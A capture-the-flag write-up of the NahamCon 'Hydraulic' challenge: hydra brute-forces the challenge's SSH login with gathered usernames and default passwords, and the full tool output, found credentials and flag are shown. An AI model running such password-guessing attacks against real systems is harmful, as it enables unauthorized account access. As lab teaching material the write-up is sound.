# Hydraulic#hydra #wordlists
```This is Stage 2 of Path 5 in The Mission. After solving this challenge, you may need to refresh the page to see the newly unlocked challenges.
Gain access with the information you have gathered thus far and retrieve the flag.
Press the Start button on the top-right to begin this challenge.Connect with:ssh -p 30337 challenge.nahamcon.com```
So we have a bit of information available from the previous challenge going into this. In particular, we have some account names and some default passwords and so making those into some lists might be a good way to start off.
## Hydra
After making those dictionaries, throwing [hydra](https://allabouttesting.org/examples-of-kali-linux-hydra-tool/#:~:text=Hydra%20is%20a%20pre%2Dinstalled,target%20to%20identify%20correct%20credentials.) at the SSH login with the wordlists generated following the previous challenge `Lyra`
```$ hydra -s 30337 -L users.txt -P default-passwords.txt 35.239.227.150 -t 4 sshHydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-13 21:39:41[DATA] max 4 tasks per 1 server, overall 4 tasks, 520 login tries (l:8/p:65), ~130 tries per task[DATA] attacking ssh://35.239.227.150:30337/[STATUS] 36.00 tries/min, 36 tries in 00:01h, 484 to do in 00:14h, 4 active[STATUS] 29.67 tries/min, 89 tries in 00:03h, 431 to do in 00:15h, 4 active[30337][ssh] host: 35.239.227.150   login: pavo   password: starsinthesky[STATUS] 29.29 tries/min, 205 tries in 00:07h, 315 to do in 00:11h, 4 active1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-13 21:49:39```
Seems our (now) good friend `pavo` didn't change his password, and inside his `home` directory we find our flag!
```$ ssh -p 30337 [email protected]$ lltotal 24drwxr-xr-x 1 pavo pavo 4096 Mar  6 06:16 ./drwxr-xr-x 1 root root 4096 Mar  6 06:15 ../-rw-r--r-- 1 pavo pavo  220 Feb 25  2020 .bash_logout-rw-r--r-- 1 pavo pavo 3771 Feb 25  2020 .bashrc-rw-r--r-- 1 pavo pavo  807 Feb 25  2020 .profile-rw-r--r-- 1 pavo pavo   39 Mar  6 06:15 flag.txt$ cat flag.txtflag{cadbbfd75d2547700221f8c2588e026e}```